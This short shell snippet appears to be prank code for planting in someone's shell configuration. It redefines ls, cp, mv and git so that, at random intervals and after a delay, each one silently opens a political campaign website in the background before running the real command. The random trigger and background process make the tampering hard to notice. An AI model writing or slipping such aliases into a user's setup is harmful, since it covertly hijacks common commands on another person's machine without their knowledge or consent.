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alias ls="if [[ \$((\$RANDOM % 5)) == 0 ]]; then ((sleep \$(( (\$RANDOM % 30) + 5 )) && open \"https://www.donaldjtrump.com/\") &); fi; ls"
alias cp="if [[ \$((\$RANDOM % 5)) == 0 ]]; then ((sleep \$(( (\$RANDOM % 30) + 5 )) && open \"https://www.donaldjtrump.com/\") &); fi; cp"
alias mv="if [[ \$((\$RANDOM % 5)) == 0 ]]; then ((sleep \$(( (\$RANDOM % 30) + 5 )) && open \"https://www.donaldjtrump.com/\") &); fi; mv"
alias git="if [[ \$((\$RANDOM % 5)) == 0 ]]; then ((sleep \$(( (\$RANDOM % 30) + 5 )) && open \"https://www.donaldjtrump.com/\") &); fi; git"
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